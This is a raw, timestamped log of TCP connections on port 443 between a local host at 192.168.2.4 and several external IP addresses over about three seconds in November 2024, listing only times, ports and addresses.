Nov 21, 2024 22:09:38.707278967 CET	49811	443	192.168.2.4	152.195.19.97
Nov 21, 2024 22:09:38.708291054 CET	49811	443	192.168.2.4	152.195.19.97
Nov 21, 2024 22:09:38.708409071 CET	443	49811	152.195.19.97	192.168.2.4
Nov 21, 2024 22:09:38.708458900 CET	49811	443	192.168.2.4	152.195.19.97
Nov 21, 2024 22:09:38.755340099 CET	443	49811	152.195.19.97	192.168.2.4
Nov 21, 2024 22:09:38.762044907 CET	49811	443	192.168.2.4	152.195.19.97
Nov 21, 2024 22:09:38.762068987 CET	443	49811	152.195.19.97	192.168.2.4
Nov 21, 2024 22:09:38.808494091 CET	49811	443	192.168.2.4	152.195.19.97
Nov 21, 2024 22:09:38.810703993 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.810765982 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.810791016 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.810813904 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.810857058 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.810857058 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.853003025 CET	443	49808	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.853070021 CET	443	49808	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.853091002 CET	443	49808	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.853127956 CET	443	49808	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.853153944 CET	49808	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.853226900 CET	443	49808	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.853261948 CET	49808	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.853285074 CET	49808	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.853285074 CET	443	49808	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.853410959 CET	49808	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.855464935 CET	49808	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.855499983 CET	443	49808	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.871500015 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.871561050 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.871620893 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.871649027 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.871712923 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.871712923 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.995729923 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.995783091 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.995811939 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.995830059 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:38.995855093 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:38.995874882 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.022906065 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.022953987 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.022995949 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.023010969 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.023036003 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.023163080 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.031402111 CET	443	49812	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:39.031857014 CET	49812	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:39.031887054 CET	443	49812	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:39.032401085 CET	443	49812	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:39.032460928 CET	49812	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:39.033117056 CET	443	49812	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:39.033176899 CET	49812	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:39.033974886 CET	49812	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:39.034090996 CET	443	49812	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:39.034142017 CET	49812	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:39.034168959 CET	49812	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:39.034185886 CET	443	49812	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:39.041349888 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.041652918 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:39.041680098 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.043148994 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.043184042 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.043220043 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:39.043230057 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.043262959 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.043275118 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.043302059 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.043358088 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.044306993 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:39.044403076 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.044488907 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:39.044503927 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.060585976 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.060635090 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.060672998 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.060693026 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.060715914 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.060734987 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.086544037 CET	49812	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:39.086559057 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:39.097560883 CET	443	49813	142.250.65.202	192.168.2.4
Nov 21, 2024 22:09:39.097781897 CET	49813	443	192.168.2.4	142.250.65.202
Nov 21, 2024 22:09:39.097805023 CET	443	49813	142.250.65.202	192.168.2.4
Nov 21, 2024 22:09:39.099246979 CET	443	49813	142.250.65.202	192.168.2.4
Nov 21, 2024 22:09:39.099334002 CET	49813	443	192.168.2.4	142.250.65.202
Nov 21, 2024 22:09:39.100070953 CET	49813	443	192.168.2.4	142.250.65.202
Nov 21, 2024 22:09:39.100162029 CET	443	49813	142.250.65.202	192.168.2.4
Nov 21, 2024 22:09:39.100442886 CET	49813	443	192.168.2.4	142.250.65.202
Nov 21, 2024 22:09:39.100459099 CET	443	49813	142.250.65.202	192.168.2.4
Nov 21, 2024 22:09:39.150234938 CET	443	49811	152.195.19.97	192.168.2.4
Nov 21, 2024 22:09:39.151705980 CET	49813	443	192.168.2.4	142.250.65.202
Nov 21, 2024 22:09:39.175483942 CET	443	49811	152.195.19.97	192.168.2.4
Nov 21, 2024 22:09:39.175503969 CET	443	49811	152.195.19.97	192.168.2.4
Nov 21, 2024 22:09:39.175522089 CET	443	49811	152.195.19.97	192.168.2.4
Nov 21, 2024 22:09:39.175555944 CET	443	49811	152.195.19.97	192.168.2.4
Nov 21, 2024 22:09:39.175571918 CET	49811	443	192.168.2.4	152.195.19.97
Nov 21, 2024 22:09:39.175599098 CET	443	49811	152.195.19.97	192.168.2.4
Nov 21, 2024 22:09:39.175626993 CET	49811	443	192.168.2.4	152.195.19.97
Nov 21, 2024 22:09:39.175626993 CET	49811	443	192.168.2.4	152.195.19.97
Nov 21, 2024 22:09:39.175750017 CET	443	49811	152.195.19.97	192.168.2.4
Nov 21, 2024 22:09:39.176279068 CET	49811	443	192.168.2.4	152.195.19.97
Nov 21, 2024 22:09:39.176593065 CET	49811	443	192.168.2.4	152.195.19.97
Nov 21, 2024 22:09:39.176640034 CET	443	49811	152.195.19.97	192.168.2.4
Nov 21, 2024 22:09:39.203052044 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.203108072 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.203155041 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.203171015 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.203218937 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.203219891 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.215703964 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.215795994 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.216006994 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.216073036 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.225320101 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.225375891 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.225419044 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.225460052 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.225507021 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.225588083 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.230180979 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.230232000 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.230262995 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.230309010 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.230334997 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.230350018 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.230367899 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.230386019 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.230438948 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.230438948 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.230465889 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.230511904 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.235882998 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.235930920 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.235955000 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.235974073 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.235995054 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.236016989 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.246934891 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.246977091 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.247006893 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.247020006 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.247049093 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.247066021 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.257206917 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.257251024 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.257312059 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.257313013 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.257313013 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.257329941 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.257400036 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.268260002 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.268304110 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.268343925 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.268356085 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.268394947 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.268414021 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.352602005 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:39.352639914 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:39.352708101 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:39.352931023 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:39.352941036 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:39.409861088 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.409930944 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.409965992 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.410003901 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.410032034 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.410142899 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.419332981 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.419378042 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.419410944 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.419425011 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.419469118 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.419490099 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.427659988 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.427706957 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.427778006 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.427791119 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.427815914 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.427865982 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.427923918 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.427947998 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.427970886 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.427972078 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.427995920 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.428129911 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.437339067 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.437386990 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.437410116 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.437429905 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.437453032 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.437474012 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.444243908 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.444305897 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.444328070 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.444348097 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.444370031 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.444508076 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.444607019 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.444803953 CET	49806	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.444832087 CET	443	49806	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.479893923 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.479943991 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.479996920 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.480014086 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.480038881 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.480056047 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.493634939 CET	443	49812	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:39.493722916 CET	443	49812	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:39.493829012 CET	49812	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:39.512089968 CET	49812	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:39.512120962 CET	443	49812	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:39.538202047 CET	49817	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.538234949 CET	443	49817	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.538423061 CET	49817	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.539107084 CET	49818	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.539151907 CET	443	49818	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.539223909 CET	49818	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.539561987 CET	49817	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.539575100 CET	443	49817	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.539823055 CET	49818	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.539834976 CET	443	49818	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.540393114 CET	49819	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.540406942 CET	443	49819	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.540514946 CET	49819	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.540772915 CET	49819	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.540783882 CET	443	49819	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.541402102 CET	49820	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.541448116 CET	443	49820	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.541498899 CET	49820	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.541685104 CET	49820	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.541697979 CET	443	49820	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.542247057 CET	49821	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.542334080 CET	443	49821	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.542396069 CET	49821	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.542551994 CET	49821	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.542598009 CET	443	49821	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.577891111 CET	443	49813	142.250.65.202	192.168.2.4
Nov 21, 2024 22:09:39.577992916 CET	443	49813	142.250.65.202	192.168.2.4
Nov 21, 2024 22:09:39.578068972 CET	49813	443	192.168.2.4	142.250.65.202
Nov 21, 2024 22:09:39.578727961 CET	49813	443	192.168.2.4	142.250.65.202
Nov 21, 2024 22:09:39.578758955 CET	443	49813	142.250.65.202	192.168.2.4
Nov 21, 2024 22:09:39.614640951 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.614672899 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.614727974 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.614742994 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.614768028 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.614784002 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.625387907 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.625439882 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.625448942 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.625499010 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.625588894 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.625822067 CET	49807	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.625834942 CET	443	49807	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.626204014 CET	49822	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.626252890 CET	443	49822	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.626713037 CET	49822	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.627015114 CET	49822	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:39.627028942 CET	443	49822	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:39.665146112 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.665195942 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.665204048 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.665216923 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.665268898 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:39.665280104 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.665303946 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.665318966 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:39.665318966 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:39.665348053 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:39.692648888 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.692711115 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:39.692718029 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.735409021 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:39.740566969 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.740581036 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.740668058 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.740706921 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:39.740719080 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.740729094 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:39.740833044 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:39.856990099 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.857060909 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:39.857076883 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.861690044 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.861730099 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:39.861736059 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.887962103 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.887981892 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.888093948 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:39.888093948 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:39.888102055 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.917049885 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.917068958 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.917119026 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:39.917128086 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.917155027 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:39.932573080 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:39.932634115 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:39.933188915 CET	49814	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:39.933193922 CET	443	49814	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:40.048522949 CET	443	49815	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:40.048960924 CET	49815	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:40.048969030 CET	443	49815	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:40.050425053 CET	443	49815	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:40.050482035 CET	49815	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:40.051767111 CET	49815	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:40.051958084 CET	443	49815	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:40.051981926 CET	49815	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:40.052005053 CET	49815	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:40.054193974 CET	49825	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:40.054224014 CET	443	49825	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:40.054301977 CET	49825	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:40.054773092 CET	49825	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:40.054784060 CET	443	49825	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:40.334307909 CET	49826	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:40.334352016 CET	443	49826	20.189.173.8	192.168.2.4
Nov 21, 2024 22:09:40.334700108 CET	49826	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:40.338085890 CET	49827	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:40.338116884 CET	443	49827	20.189.173.8	192.168.2.4
Nov 21, 2024 22:09:40.340724945 CET	49827	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:40.342633009 CET	49826	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:40.342649937 CET	443	49826	20.189.173.8	192.168.2.4
Nov 21, 2024 22:09:40.358772993 CET	49827	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:40.358784914 CET	443	49827	20.189.173.8	192.168.2.4
Nov 21, 2024 22:09:40.663917065 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:40.664634943 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:40.664648056 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:40.665905952 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:40.666266918 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:40.666439056 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:40.666595936 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:40.666635990 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:40.666655064 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.143251896 CET	443	49819	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.143522024 CET	49819	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.143551111 CET	443	49819	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.147068024 CET	443	49819	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.147139072 CET	49819	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.147555113 CET	49819	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.147635937 CET	443	49819	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.147696972 CET	49819	443	192.168.2.4	13.107.246.40
